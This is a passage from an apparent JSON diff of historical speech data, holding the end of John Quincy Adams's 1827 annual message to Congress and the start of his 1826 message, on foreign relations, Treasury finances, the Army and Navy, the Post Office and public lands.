European powers are cooperating with him\nthe friends of freedom and of humanity may indulge the hope that they\nwill obtain relief from that most unequal of conflicts which they have\nso long and so gallantly sustained; that they will enjoy the blessing\nof self government, which by their sufferings in the cause of liberty\nthey have richly earned, and that their independence will be secured by\nthose liberal institutions of which their country furnished the\nearliest examples in the history of man-kind, and which have\nconsecrated to immortal remembrance the very soil for which they are\nnow again profusely pouring forth their blood. The sympathies which the\npeople and Government of the United States have so warmly indulged with\ntheir cause have been acknowledged by their Government in a letter of\nthanks, which I have received from their illustrious President, a\ntranslation of which is now communicated to Congress, the\nrepresentatives of that nation to whom this tribute of gratitude was\nintended to be paid, and to whom it was justly due.In the American hemisphere the cause of freedom and independence has\ncontinued to prevail, and if signalized by none of those splendid\ntriumphs which had crowned with glory some of the preceding years it\nhas only been from the banishment of all external force against which\nthe struggle had been maintained. The shout of victory has been\nsuperseded by the expulsion of the enemy over whom it could have been\nachieved.Our friendly wishes and cordial good will, which have constantly\nfollowed the southern nations of America in all the vicissitudes of\ntheir war of independence, are succeeded by a solicitude equally ardent\nand cordial that by the wisdom and purity of their institutions they\nmay secure to themselves the choicest blessings of social order and the\nbest rewards of virtuous liberty. Disclaiming alike all right and all\nintention of interfering in those concerns which it is the prerogative\nof their independence to regulate as to them shall seem fit, we hail\nwith joy every indication of their prosperity, of their harmony, of\ntheir persevering and inflexible homage to those principles of freedom\nand of equal rights which are alone suited to the genius and temper of\nthe American nations.It has been, therefore, with some concern that we have observed\nindications of intestine divisions in some of the Republics of the\nsouth, and appearances of less union with one another than we believe\nto be the interest of all. Among the results of this state of things\nhas been that the treaties concluded at Panama do not appear to have\nbeen ratified by the contracting parties, and that the meeting of the\ncongress at Tacubaya has been indefinitely postponed. In accepting the\ninvitations to be represented at this congress, while a manifestation\nwas intended on the part of the United States of the most friendly\ndisposition toward the southern Republics by whom it had been proposed,\nit was hoped that it would furnish an opportunity for bringing all the\nnations of this hemisphere to the common acknowledgment and adoption of\nthe principles in the regulation of their internal relations which\nwould have secured a lasting peace and harmony between them and have\npromoted the cause of mutual benevolence throughout the globe. But as\nobstacles appear to have arisen to the reassembling of the congress,\none of the two ministers commissioned on the part of the United States\nhas returned to the bosom of his country, while the minister charged\nwith the ordinary mission to Mexico remains authorized to attend the\nconferences of the congress when ever they may be resumed.A hope was for a short time entertained that a treaty of peace actually\nsigned between the Government of Buenos Ayres and of Brazil would\nsupersede all further occasion for those collisions between belligerent\npretensions and neutral rights which are so commonly the result of\nmaritime war, and which have unfortunately disturbed the harmony of the\nrelations between the United States and the Brazilian Governments. At\ntheir last session Congress were informed that some of the naval\nofficers of that Empire had advanced and practiced upon principles in\nrelation to blockades and to neutral navigation which we could not\nsanction, and which our commanders found it necessary to resist. It\nappears that they have not been sustained by the Government of Brazil\nitself. Some of the vessels captured under the assumed authority of\nthese erroneous principles have been restored, and we trust that our\njust expectations will be realized that adequate indemnity will be made\nto all the citizens of the United States who have suffered by the\nunwarranted captures which the Brazilian tribunals themselves have\npronounced unlawful.In the diplomatic discussions at Rio de Janeiro of these wrongs\nsustained by citizens of the United States and of others which seemed\nas if emanating immediately from that Government itself the charge\nd'affaires of the United States, under an impression that his\nrepresentations in behalf of the rights and interests of his country-\nmen were totally disregarded and useless, deemed it his duty, without\nwaiting for instructions, to terminate his official functions, to\ndemand his pass-ports, and return to the United States. This movement,\ndictated by an honest zeal for the honor and interests of his country--\nmotives which operated exclusively on the mind of the officer who\nresorted to it--has not been disapproved by me.The Brazilian Government, however, complained of it as a measure for\nwhich no adequate intentional cause had been given by them, and upon an\nexplicit assurance through their charge d'affaires residing here that a\nsuccessor to the late representative of the United States near that\nGovernment, the appointment of whom they desired, should be received\nand treated with the respect due to his character, and that indemnity\nshould be promptly made for all injuries inflicted on citizens of the\nUnited States or their property contrary to the laws of nations, a\ntemporary commission as charge d'affaires to that country has been\nissued, which it is hopes will entirely restore the ordinary diplomatic\nintercourse between the two Governments and the friendly relations\nbetween their respective nations.Turning from the momentous concerns of our Union in its intercourse\nwith foreign nations to those of the deepest interest in the\nadministration of our internal affairs, we find the revenues of the\npresent year corresponding as nearly as might be expected with the\nanticipations of the last, and presenting an aspect still more\nfavorable in the promise of the next.The balance in the Treasury on January 1st, 1827 was $6,358,686.18. The\nreceipts from that day to September 30th, 1827, as near as the returns\nof them yet received can show, amount to $16,886,581.32. The receipts\nof the present quarter, estimated at $4,515,000, added to the above\nform an aggregate of $21,400,000 of receipts.The expenditures of the year may perhaps amount to $22,300,000\npresenting a small excess over the receipts. But of these $22,000,000,\nupward of $6,000,000 have been applied to the discharge of the\nprincipal of the public debt, the whole amount of which, approaching\n$74,000,000 on January 1st, 1827, will on January 1st, 1828 fall short\nof $67,500,000. The balance in the Treasury on January 1st, 1828 it is\nexpected will exceed $5,450,000, a sum exceeding that of January 1st,\n1825, though falling short of that exhibited on January 1st, 1827.It was foreseen that the revenue of the present year 1827 would not\nequal that of the last, which had itself been less than that of the\nnext preceding year. But the hope has been realized which was\nentertained, that these deficiencies would in no wise interrupt the\nsteady operation of the discharge of the public debt by the annual\n$10,000,000 devoted to that object by the act of March 3d, 1817.The amount of duties secured on merchandise imported from the\ncommencement of the year until September 30th, 1827 is $21,226,000, and\nthe probably amount of that which will be secured during the remainder\nof the year is $5,774,000, forming a sum total of $27,000,000. With the\nallowances for draw-backs and contingent deficiencies which may occur,\nthough not specifically foreseen, we may safely estimate the receipts\nof the ensuing year at $22,300,000--a revenue for the next equal to the\nexpenditure of the present year.The deep solicitude felt by our citizens of all classes throughout the\nUnion for the total discharge of the public debt will apologize for the\nearnestness with which I deem it my duty to urge this topic upon the\nconsideration of Congress--of recommending to them again the observance\nof the strictest economy in the application of the public funds. The\ndepression upon the receipts of the revenue which had commenced with\nthe year 1826 continued with increased severity during the two first\nquarters of the present year.The returning tide began to flow with the third quarter, and, so far as\nwe can judge from experience, may be expected to continue through the\ncourse of the ensuing year. In the mean time an alleviation from the\nburden of the public debt will in the three years have been effected to\nthe amount of nearly $16,000,000, and the charge of annual interest\nwill have been reduced upward of $1,000,000. But among the maxims of\npolitical economy which the stewards of the public moneys should never\nsuffer without urgent necessity to be transcended is that of keeping\nthe expenditures of the year within the limits of its receipts.The appropriations of the two last years, including the yearly\n$10,000,000 of the sinking fund, have each equaled the promised revenue\nof the ensuing year. While we foresee with confidence that the public\ncoffers will be replenished from the receipts as fast as they will be\ndrained by the expenditures, equal in amount to those of the current\nyear, it should not be forgotten that they could ill suffer the\nexhaustion of larger disbursements.The condition of the Army and of all the branches of the public service\nunder the superintendence of the Secretary of War will be seen by the\nreport from that officer and the documents with which it is\naccompanied.During the last summer a detachment of the Army has been usefully and\nsuccessfully called to perform their appropriate duties. At the moment\nwhen the commissioners appointed for carrying into execution certain\nprovisions of the treaty of August 19th, 1825, with various tribes of\nthe North Western Indians were about to arrive at the appointed place\nof meeting the unprovoked murder of several citizens and other acts of\nunequivocal hostility committed by a party of the Winnebago tribe, one\nof those associated in the treaty, followed by indications of a\nmenacing character among other tribes of the same region, rendered\nnecessary an immediate display of the defensive and protective force of\nthe Union in that quarter.It was accordingly exhibited by the immediate and concerted movements\nof the governors of the State of Illinois and of the Territory of\nMichigan, and competent levies of militia, under their authority, with\na corps of 700 men of United States troops, under the command of\nGeneral Atkinson, who, at the call of Governor Cass, immediately\nrepaired to the scene of danger from their station at St. Louis. Their\npresence dispelled the alarms of our fellow citizens on those\ndisorders, and overawed the hostile purposes of the Indians. The\nperpetrators of the murders were surrendered to the authority and\noperation of our laws, and every appearance of purposed hostility from\nthose Indian tribes has subsided.Although the present organization of the Army and the administration of\nits various branches of service are, upon the whole, satisfactory, they\nare yet susceptible of much improvement in particulars, some of which\nhave been heretofore submitted to the consideration of Congress, and\nothers are now first presented in the report of the Secretary of War.The expediency of providing for additional numbers of officers in the\ntwo corps of engineers will in some degree depend upon the number and\nextent of the objects of national importance upon which Congress may\nthink it proper that surveys should be made conformably to the act of\nApril 30th, 1824. Of the surveys which before the last session of\nCongress had been made under the authority of that act, reports were\nmade--Of the Board of Internal Improvement, on the Chesapeake and Ohio\nCanal. On the continuation of the national road from Cumberland to the\ntide waters within the District of Columbia. On the continuation of the\nnational road from Canton to Zanesville. On the location of the\nnational road from Zanesville to Columbus. On the continuation of the\nsame to the seat of government in Missouri. On a post road from\nBaltimore to Philadelphia. Of a survey of Kennebec River (in part). On\na national road from Washington to Buffalo. On the survey of Saugatuck\nHarbor and River. On a canal from Lake Pont Chartrain to the\nMississippi River. On surveys at Edgartown, Newburyport, and Hyannis\nHarbor. On survey of La Plaisance Bay, in the Territory of Michigan.\nAnd reports are now prepared and will be submitted to Congress--On\nsurveys of the peninsula of Florida, to ascertain the practicability of\na canal to connect the waters of the Atlantic with the Gulf of Mexico\nacross that peninsula; and also of the country between the bays of\nMobile and of Pensacola, with the view of connecting them together by a\ncanal. On surveys of a route for a canal to connect the waters of James\nand Great Kenhawa rivers. On the survey of the Swash, in Pamlico Sound,\nand that of Cape Fear, below the town of Wilmington, in North Carolina.\nOn the survey of the Muscle Shoals, in the Tennessee River, and for a\nroute for a contemplated communication between the Hiwassee and Coosa\nrivers, in the State of Alabama. Other reports of surveys upon objects\npointed out by the several acts of Congress of the last and preceding\nsessions are in the progress of preparation, and most of them may be\ncompleted before the close of this session. All the officers of both\ncorps of engineers, with several other persons duly qualified, have\nbeen constantly employed upon these services from the passage of the\nact of April 30th, 1824, to this time.Were no other advantage to accrue to the country from their labors than\nthe fund of topographical knowledge which they have collected and\ncommunicated, that alone would have been a profit to the Union more\nthan adequate to all the expenditures which have been devoted to the\nobject; but the appropriations for the repair and continuation of the\nCumberland road, for the construction of various other roads, for the\nremoval of obstructions from the rivers and harbors, for the erection\nof light houses, beacons, piers, and buoys, and for the completion of\ncanals undertaken by individual associations, but needing the\nassistance of means and resources more comprehensive than individual\nenterprise can command, may be considered rather as treasures laid up\nfrom the contributions of the present age for the benefit of posterity\nthan as unrequited applications of the accruing revenues of the nation.To such objects of permanent improvement to the condition of the\ncountry, of real addition to the wealth as well as to the comfort of\nthe people by whose authority and resources they have been effected,\nfrom $3,000,000 to $4,000,000 of the annual income of the nation have,\nby laws enacted at the three most recent sessions of Congress, been\napplied, without intrenching upon the necessities of the Treasury,\nwithout adding a dollar to the taxes or debts of the community, without\nsuspending even the steady and regular discharge of the debts\ncontracted in former days, which within the same three years have been\ndiminished by the amount of nearly $16,000,000.The same observations are in a great degree applicable to the\nappropriations made for fortifications upon the coasts and harbors of\nthe United States, for the maintenance of the Military Academy at West\nPoint, and for the various objects under the superintendence of the\nDepartment of the Navy. The report from the Secretary of the Navy and\nthose from the subordinate branches of both the military departments\nexhibit to Congress in minute detail the present condition of the\npublic establishments dependent upon them, the execution of the acts of\nCongress relating to them, and the views of the officers engaged in the\nseveral branches of the service concerning the improvements which may\ntend to their perfection.The fortification of the coasts and the gradual increase and\nimprovement of the Navy are parts of a great system of national defense\nwhich has been upward of ten years in progress, and which for a series\nof years to come will continue to claim the constant and persevering\nprotection and superintendence of the legislative authority. Among the\nmeasures which have emanated from these principles the act of the last\nsession of Congress for the gradual improvement of the Navy holds a\nconspicuous place. The collection of timber for the future construction\nof vessels of war, the preservation and reproduction of the species of\ntimber peculiarly adapted to that purpose, the construction of dry\ndocks for the use of the Navy, the erection of a marine railway for the\nrepair of the public ships, and the improvement of the navy yards for\nthe preservation of the public property deposited in them have all\nreceived from the Executive the attention required by that act, and\nwill continue to receive it, steadily proceeding toward the execution\nof all its purposes.The establishment of a naval academy, furnishing the means of theoretic\ninstruction to the youths who devote their lives to the service of\ntheir country upon the ocean, still solicits the sanction of the\nLegislature. Practical seamanship and the art of navigation may be\nacquired on the cruises of the squadrons which from time to time are\ndispatched to distant seas, but a competent knowledge even of the art\nof ship building, the higher mathematics, and astronomy; the literature\nwhich can place our officers on a level of polished education with the\nofficers of other maritime nations; the knowledge of the laws,\nmunicipal and national, which in their intercourse with foreign states\nand their governments are continually called into operation, and, above\nall, that acquaintance with the principles of honor and justice, with\nthe higher obligations of morals and of general laws, human and divine,\nwhich constitutes the great distinction between the warrior-patriot and\nthe licensed robber and pirate--these can be systematically taught and\neminently acquired only in a permanent school, stationed upon the shore\nand provided with the teachers, the instruments, and the books\nconversant with and adapted to the communication of the principles of\nthese respective sciences to the youthful and inquiring mind.The report from the Post Master General exhibits the condition of that\nDepartment as highly satisfactory for the present and still more\npromising for the future. Its receipts for the year ending July 1st,\n1827 amounted to $1,473,551, and exceeded its expenditures by upward of\n$100,000. It can not be an over sanguine estimate to predict that in\nless than ten years, of which half have elapsed, the receipts will have\nbeen more than doubled.In the mean time a reduced expenditure upon established routes has kept\npace with increased facilities of public accommodation and additional\nservices have been obtained at reduced rates of compensation. Within\nthe last year the transportation of the mail in stages has been greatly\naugmented. The number of post offices has been increased to 7,000, and\nit may be anticipated that while the facilities of intercourse between\nfellow citizens in person or by correspondence will soon be carried to\nthe door of every villager in the Union, a yearly surplus of revenue\nwill accrue which may be applied as the wisdom of Congress under the\nexercise of their constitutional powers may devise for the further\nestablishment and improvement of the public roads, or by adding still\nfurther to the facilities in the transportation of the mails. Of the\nindications of the prosperous condition of our country, none can be\nmore pleasing than those presented by the multiplying relations of\npersonal and intimate intercourse between the citizens of the Union\ndwelling at the remotest distances from each other.Among the subjects which have heretofore occupied the earnest\nsolicitude and attention of Congress is the management and disposal of\nthat portion of the property of the nation which consists of the public\nlands. The acquisition of them, made at the expense of the whole Union,\nnot only in treasury but in blood, marks a right of property in them\nequally extensive. By the report and statements from the General Land\nOffice now communicated it appears that under the present Government of\nthe United States a sum little short of $33,000,000 has been paid from\nthe common Treasury for that portion of this property which has been\npurchased from France and Spain, and for the extinction of the\naboriginal titles. The amount of lands acquired is near 260,000,000\nacres, of which on January 1st, 1826, about 139,000,000 acres had been\nsurveyed, and little more than 19,000,000 acres had been sold. The\namount paid into the Treasury by the purchasers of the public lands\nsold is not yet equal to the sums paid for the whole, but leaves a\nsmall balance to be refunded. The proceeds of the sales of the lands\nhave long been pledged to the creditors of the nation, a pledge from\nwhich we have reason to hope that they will in a very few years be\nredeemed.The system upon which this great national interest has been managed was\nthe result of long, anxious, and persevering deliberation. Matured and\nmodified by the progress of our population and the lessons of\nexperience, it has been hitherto eminently successful. More than nine\ntenths of the lands still remain the common property of the Union, the\nappropriation and disposal of which are sacred trusts in the hands of\nCongress.Of the lands sold, a considerable part were conveyed under extended\ncredits, which in the vicissitudes and fluctuations in the value of\nlands and of their produce became oppressively burdensome to the\npurchasers. It can never be the interest or the policy of the nation to\nwring from its own citizens the reasonable profits of their industry\nand enterprise by holding them to the rigorous import of disastrous\nengagements. In March, 1821, a debt of $22,000,000, due by purchasers\nof the public lands, had accumulated, which they were unable to pay. An\nact of Congress of March 2nd, 1821, came to their relief, and has been\nsucceeded by others, the latest being the act of May 4th, 1826, the\nindulgent provisions of which expired on July 4th, 1827. The effect of\nthese laws has been to reduce the debt from the purchasers to a\nremaining balance of about $4,300,000 due, more than three fifths of\nwhich are for lands within the State of Alabama. I recommend to\nCongress the revival and continuance for a further term of the\nbeneficent accommodations to the public debtors of that statute, and\nsubmit to their consideration, in the same spirit of equity, the\nremission, under proper discriminations, of the forfeitures of partial\npayments on account of purchases of the public lands, so far as to\nallow of their application to other payments.There are various other subjects of deep interest to the whole Union\nwhich have heretofore been recommended to the consideration of\nCongress, as well by my predecessors as, under the impression of the\nduties devolving upon me, by myself. Among these are the debt, rather\nof justice than gratitude, to the surviving warriors of the\nRevolutionary war; the extension of the judicial administration of the\nFederal Government to those extensive since the organization of the\npresent judiciary establishment, now constitute at least one third of\nits territory, power, and population; the formation of a more effective\nand uniform system for the government of the militia, and the\namelioration in some form or modification of the diversified and often\noppressive codes relating to insolvency. Amidst the multiplicity of\ntopics of great national concernment which may recommend themselves to\nthe calm and patriotic deliberations of the Legislature, it may suffice\nto say that on these and all other measures which may receive their\nsanction my hearty cooperation will be given, conformably to the duties\nenjoined upon me and under the sense of all the obligations prescribed\nby the Constitution.JOHN QUINCY ADAMS", 
+    "name": "John Quincy Adams"
+}
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+{
+    "date": "December 5, 1826", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:The assemblage of the representatives of our Union in both Houses of\nthe Congress at this time occurs under circumstances calling for the\nrenewed homage of our grateful acknowledgments to the Giver of All\nGood. With the exceptions incidental to the most felicitous condition\nof human existence, we continue to be highly favored in all the\nelements which contribute to individual comfort and to national\nprosperity. In the survey of our extensive country we have generally to\nobserve abodes of health and regions of plenty. In our civil and\npolitical relations we have peace without and tranquillity within our\nborders. We are, as a people, increasing with unabated rapidity in\npopulation, wealth, and national resources, and whatever differences of\nopinion exist among us with regard to the mode and the means by which\nwe shall turn the beneficence of Heaven to the improvement of our own\ncondition, there is yet a spirit animating us all which will not suffer\nthe bounties of Providence to be showered upon us in vain, but will\nreceive them with grateful hearts, and apply them with unwearied hands\nto the advancement of the general good.Of the subjects recommended to Congress at their last session, some\nwere then definitively acted upon. Others, left unfinished, but partly\nmatured, will recur to your attention without needing a renewal of\nnotice from me. The purpose of this communication will be to present to\nyour view the general aspect of our public affairs at this moment and\nthe measures which have been taken to carry into effect the intentions\nof the Legislature as signified by the laws then and heretofore\nenacted.In our intercourse with the other nations of the earth we have still\nthe happiness of enjoying peace and a general good understanding,\nqualified, however, in several important instances by collisions of\ninterest and by unsatisfied claims of justice, to the settlement of\nwhich the constitutional interposition of the legislative authority may\nbecome ultimately indispensable.By the decease of the Emperor Alexander of Russia, which occurred\ncontemporaneously with the commencement of the last session of\nCongress, the United States have been deprived of a long tried, steady,\nand faithful friend. Born to the inheritance of absolute power and\ntrained in the school of adversity, from which no power on earth,\nhowever absolute, is exempt, that monarch from his youth had been\ntaught to feel the force and value of public opinion and to be sensible\nthat the interests of his own Government would best be promoted by a\nfrank and friendly intercourse with this Republic, as those of his\npeople would be advanced by a liberal intercourse with our country. A\ncandid and confidential interchange of sentiments between him and the\nGovernment of the United States upon the affairs of Southern America\ntook place at a period not long preceding his demise, and contributed\nto fix that course of policy which left to the other Governments of\nEurope no alternative but that of sooner or later recognizing the\nindependence of our southern neighbors, of which the example had by the\nUnited States already been set.The ordinary diplomatic communications between his successor, the\nEmperor Nicholas, and the United States have suffered some interruption\nby the illness, departure, and subsequent decease of his minister\nresiding here, who enjoyed, as he merited, the entire confidence of his\nnew sovereign, as he had eminently responded to that of his\npredecessor. But we have had the most satisfactory assurances that the\nsentiments of the reigning Emperor toward the United States are\naltogether conformable to those which had so long and constantly\nanimated his imperial brother, and we have reason to hope that they\nwill serve to cement that harmony and good understanding between the\ntwo nations which, founded in congenial interests, can not but result\nin the advancement of the welfare and prosperity of both.Our relations of commerce and navigation with France are, by the\noperation of the convention of June 24th, 1822, with that nation, in a\nstate of gradual and progressive improvement. Convinced by all our\nexperience, no less than by the principles of fair and liberal\nreciprocity which the United States have constantly tendered to all the\nnations of the earth as the rule of commercial intercourse which they\nwould universally prefer, that fair and equal competition is most\nconducive to the interests of both parties, the United States in the\nnegotiation of that convention earnestly contended for a mutual\nrenunciation of discriminating duties and charges in the ports of the\ntwo countries. Unable to obtain the immediate recognition of this\nprinciple in its full extent, after reducing the duties of\ndiscrimination so far as was found attainable it was agreed that at the\nexpiration of two years from October 1st, 1822, when the convention was\nto go into effect, unless a notice of six months on either side should\nbe given to the other that the convention itself must terminate, those\nduties should be reduced one quarter, and that this reduction should be\nyearly repeated, until all discrimination should cease, while the\nconvention itself should continue in force. By the effect of this\nstipulation three quarters of the discriminating duties which had been\nlevied by each party upon the vessels of the other in its ports have\nalready been removed; and on the first of next October, should the\nconvention be still in force, the remaining one quarter will be\ndiscontinued. French vessels laden with French produce will be received\nin our ports on the same terms as our own, and ours in return will\nenjoy the same advantages in the ports of France.By these approximations to an equality of duties and of charges not\nonly has the commerce between the two countries prospered, but friendly\ndispositions have been on both sides encouraged and promoted. They will\ncontinue to be cherished and cultivated on the part of the United\nStates. It would have been gratifying to have had it in my power to add\nthat the claims upon the justice of the French Government, involving\nthe property and the comfortable subsistence of many of our fellow\ncitizens, and which have been so long and so earnestly urged, were in a\nmore promising train of adjustment than at your last meeting; but their\ncondition remains unaltered.With the Government of the Netherlands the mutual abandonment of\ndiscriminating duties had been regulated by legislative acts on both\nsides. The act of Congress of April 20th, 1818, abolished all\ndiscriminating duties of impost and tonnage upon the vessels and\nproduce of the Netherlands in the ports of the United States upon the\nassurance given by the Government of the Netherlands that all such\nduties operating against the shipping and commerce of the United States\nin that Kingdom had been abolished. These reciprocal regulations had\ncontinued in force several years when the discriminating principle was\nresumed by the Netherlands in a new and indirect form by a bounty of\n10% in the shape of a return of duties to their national vessels, and\nin which those of the United States are not permitted to participate.\nBy the act of Congress of January 7th, 1824, all discriminating duties\nin the United States were again suspended, so far as related to the\nvessels and produce of the Netherlands, so long as the reciprocal\nexemption should be extended to the vessels and produce of the United\nStates in the Netherlands. But the same act provides that in the event\nof a restoration of discriminating duties to operate against the\nshipping and commerce of the United States in any of the foreign\ncountries referred to therein the suspension of discriminating duties\nin favor of the navigation of such foreign country should cease and all\nthe provisions of the acts imposing discriminating foreign tonnage and\nimpost duties in the United States should revive and be in full force\nwith regard to that nation.In the correspondence with the Government of the Netherlands upon this\nsubject they have contended that the favor shown to their own shipping\nby this bounty upon their tonnage is not to be considered a\ndiscriminating duty; but it can not be denied that it produces all the\nsame effects. Had the mutual abolition been stipulated by treaty, such\na bounty upon the national vessels could scarcely have been granted\nconsistent with good faith. Yet as the act of Congress of January 7th,\n1824 has not expressly authorized the Executive authority to determine\nwhat shall be considered as a revival of discriminating duties by a\nforeign government to the disadvantage of the United States, and as the\nretaliatory measure on our part, however just and necessary, may tend\nrather to that conflict of legislation which we deprecate than to that\nconcert to which we invite all commercial nations, as most conducive to\ntheir interest and our own, I have thought it more consistent with the\nspirit of our institutions to refer to the subject again to the\nparamount authority of the Legislature to decide what measure the\nemergency may require than abruptly by proclamation to carry into\neffect the minatory provisions of the act of 1824.During the last session of Congress treaties of amity, navigation, and\ncommerce were negotiated and signed at this place with the Government\nof Denmark, in Europe, and with the Federation of Central America, in\nthis hemisphere. These treaties then received the constitutional\nsanction of the Senate, by the advice and consent to their\nratification. They were accordingly ratified on the part of the United\nStates, and during the recess of Congress have been also ratified by\nthe other respective contracting parties. The ratifications have been\nexchanged, and they have been published by proclamations, copies of\nwhich are herewith communicated to Congress.These treaties have established between the contracting parties the\nprinciples of equality and reciprocity in their broadest and most\nliberal extent, each party admitting the vessels of the other into its\nports, laden with cargoes the produce or manufacture of any quarter of\nthe globe, upon the payment of the same duties of tonnage and impost\nthat are chargeable upon their own. They have further stipulated that\nthe parties shall hereafter grant no favor of navigation or commerce to\nany other nation which shall not upon the same terms be granted to each\nother, and that neither party will impose upon articles of merchandise\nthe produce or manufacture of the other any other or higher duties than\nupon the like articles being the produce or manufacture of any other\ncountry. To these principles there is in the convention with Denmark an\nexception with regard to the colonies of that Kingdom in the arctic\nseas, but none with regard to her colonies in the West Indies.In the course of the last summer the term to which our last commercial\ntreaty with Sweden was limited has expired. A continuation of it is in\nthe contemplation of the Swedish Government, and is believed to be\ndesirable on the part of the United States. It has been proposed by the\nKing of Sweden that pending the negotiation of renewal the expired\ntreaty should be mutually considered as still in force, a measure which\nwill require the sanction of Congress to be carried into effect on our\npart, and which I therefore recommend to your consideration.With Prussia, Spain, Portugal, and, in general, all the European powers\nbetween whom and the United States relations of friendly intercourse\nhave existed their condition has not materially varied since the last\nsession of Congress. I regret not to be able to say the same of our\ncommercial intercourse with the colonial possessions of Great Britain\nin America. Negotiations of the highest importance to our common\ninterests have been for several years in discussion between the two\nGovernments, and on the part of the United States have been invariably\npursued in the spirit of candor and conciliation. Interests of great\nmagnitude and delicacy had been adjusted by the conventions of 1815 and\n1818, while that of 1822, mediated by the late Emperor Alexander, had\npromised a satisfactory compromise of claims which the Government of\nthe United States, in justice to the rights of a numerous class of\ntheir citizens, was bound to sustain.But with regard to the commercial intercourse between the United States\nand the British colonies in America, it has been hitherto found\nimpracticable to bring the parties to an understanding satisfactory to\nboth. The relative geographical position and the respective products of\nnature cultivated by human industry had constituted the elements of a\ncommercial intercourse between the United States and British America,\ninsular and continental, important to the inhabitants of both\ncountries; but it had been interdicted by Great Britain upon a\nprinciple heretofore practiced upon by the colonizing nations of\nEurope, of holding the trade of their colonies each in exclusive\nmonopoly to herself.After the termination of the late war this interdiction had been\nrevived, and the British Government declined including this portion of\nour intercourse with her possessions in the negotiation of the\nconvention of 1815. The trade was then carried on exclusively in\nBritish vessels 'til the act of Congress, concerning navigation, of\n1818 and the supplemental act of 1820 met the interdict by a\ncorresponding measure on the part of the United States. These measures,\nnot of retaliation, but of necessary self defense, were soon succeeded\nby an act of Parliament opening certain colonial ports to the vessels\nof the United States coming directly from them, and to the importation\nfrom them of certain articles of our produce burdened with heavy\nduties, and excluding some of the most valuable articles of our\nexports. The United States opened their ports to British vessels from\nthe colonies upon terms as exactly corresponding with those of the act\nof Parliament as in the relative position of the parties could be made,\nand a negotiation was commenced by mutual consent, with the hope on our\npart that a reciprocal spirit of accommodation and a common sentiment\nof the importance of the trade to the interests of the inhabitants of\nthe two countries between whom it must be carried on would ultimately\nbring the parties to a compromise with which both might be satisfied.\nWith this view the Government of the United States had determined to\nsacrifice something of that entire reciprocity which in all commercial\narrangements with foreign powers they are entitled to demand, and to\nacquiesce in some inequalities disadvantageous to ourselves rather than\nto forego the benefit of a final and permanent adjustment of this\ninterest to the satisfaction of Great Britain herself. The negotiation,\nrepeatedly suspended by accidental circumstances, was, however, by\nmutual agreement and express assent, considered as pending and to be\nspeedily resumed.In the mean time another act of Parliament, so doubtful and ambiguous\nin its import as to have been misunderstood by the officers in the\ncolonies who were to carry it into execution, opens again certain\ncolonial ports upon new conditions and terms, with a threat to close\nthem against any nation which may not accept those terms as prescribed\nby the British Government. This act, passed July, 1825, not\ncommunicated to the Government of the United States, not understood by\nthe British officers of the customs in the colonies where it was to be\nenforced, was never the less submitted to the consideration of Congress\nat their last session. With the knowledge that a negotiation upon the\nsubject had long been in progress and pledges given of its resumption\nat an early day, it was deemed expedient to await the result of that\nnegotiation rather than to subscribe implicitly to terms the import of\nwhich was not clear and which the British authorities themselves in\nthis hemisphere were not prepared to explain.Immediately after the close of the last session of Congress one of our\nmost distinguished citizens was dispatched as envoy extraordinary and\nminister plenipotentiary to Great Britain, furnished with instructions\nwhich we could not doubt would lead to a conclusion of this long\ncontroverted interest upon terms acceptable to Great Britain. Upon his\narrival, and before he had delivered his letters of credence, he was\nbet by an order of the British council excluding from and after the\nfirst of December now current the vessels of the United States from all\nthe colonial British ports excepting those immediately bordering on our\nterritories. In answer to his expostulations upon a measure thus\nunexpected he is informed that according to the ancient maxims of\npolicy of European nations having colonies their trade is an exclusive\npossession of the mother country; that all participation in it by other\nnations is a boon or favor not forming a subject of negotiation, but to\nbe regulated by the legislative acts of the power owning the colony;\nthat the British Government therefore declines negotiating concerning\nit, and that as the United States did not forthwith accept purely and\nsimply the terms offered by the act of Parliament of July, 1825, Great\nBritain would not now admit the vessels of the United States even upon\nthe terms on which she has opened them to the navigation of other\nnations.We have been accustomed to consider the trade which we have enjoyed\nwith the British colonies rather as an interchange of mutual benefits\nthan as a mere favor received; that under every circumstance we have\ngiven an ample equivalent. We have seen every other nation holding\ncolonies negotiate with other nations and grant them freely admission\nto the colonies by treaty, and so far are the other colonizing nations\nof Europe now from refusing to negotiate for trade with their colonies\nthat we ourselves have secured access to the colonies of more than one\nof them by treaty. The refusal, however, of Great Britain to negotiate\nleaves to the United States no other alternative than that of\nregulating or interdicting altogether the trade on their part,\naccording as either measure may effect the interests of our own\ncountry, and with that exclusive object I would recommend the whole\nsubject to your calm and candid deliberations.It is hoped that our unavailing exertions to accomplish a cordial good\nunderstanding on this interest will not have an unpropitious effect\nupon the other great topics of discussion between the two Governments.\nOur north-eastern and north-western boundaries are still unadjusted.\nThe commissioners under the 7th article of the treaty of Ghent have\nnearly come to the close of their labors; nor can we renounce the\nexpectation, enfeebled as it is, that they may agree upon their report\nto the satisfaction or acquiescence of both parties. The commission for\nliquidating the claims for indemnity for slaves carried away after the\nclose of the war has been sitting, with doubtful prospects of success.\nPropositions of compromise have, however, passed between the two\nGovernments, the result of which we flatter ourselves may yet prove\nunsatisfactory. Our own dispositions and purposes toward Great Britain\nare all friendly and conciliatory; nor can we abandon but with strong\nreluctance the belief that they will ultimately meet a return, not of\nfavors, which we neither as nor desire, but of equal reciprocity and\ngood will.With the American Governments of this hemisphere we continue to\nmaintain an intercourse altogether friendly, and between their nations\nand ours that commercial interchange of which mutual benefit is the\nsource of mutual comfort and harmony the result is in a continual state\nof improvement. The war between Spain and them since the total\nexpulsion of the Spanish military force from their continental\nterritories has been little more than nominal, and their internal\ntranquillity, though occasionally menaced by the agitations which civil\nwars never fail to leave behind them, has not been affected by any\nserious calamity.The congress of ministers from several of those nations which assembled\nat Panama, after a short session there, adjourned to meet again at a\nmore favorable season in the neighborhood of Mexico. The decease of one\nof our ministers on his way to the Isthmus, and the impediments of the\nseason, which delayed the departure of the other, deprived United\nStates of the advantage of being represented at the first meeting of\nthe congress. There is, however, no reason to believe that any\ntransactions of the congress were of a nature to affect injuriously the\ninterests of the United States or to require the interposition of our\nministers had they been present. Their absence has, indeed, deprived\nUnited States of the opportunity of possessing precise and authentic\ninformation of the treaties which were concluded at Panama; and the\nwhole result has confirmed me in the conviction of the expediency to\nthe United States of being represented at the congress. The surviving\nmember of the mission, appointed during your last session, has\naccordingly proceeded to his destination, and a successor to his\ndistinguished and lamented associate will be nominated to the Senate. A\ntreaty of amity, navigation, and commerce has in the course of the last\nsummer been concluded by our minister plenipotentiary at Mexico with\nthe united states of that 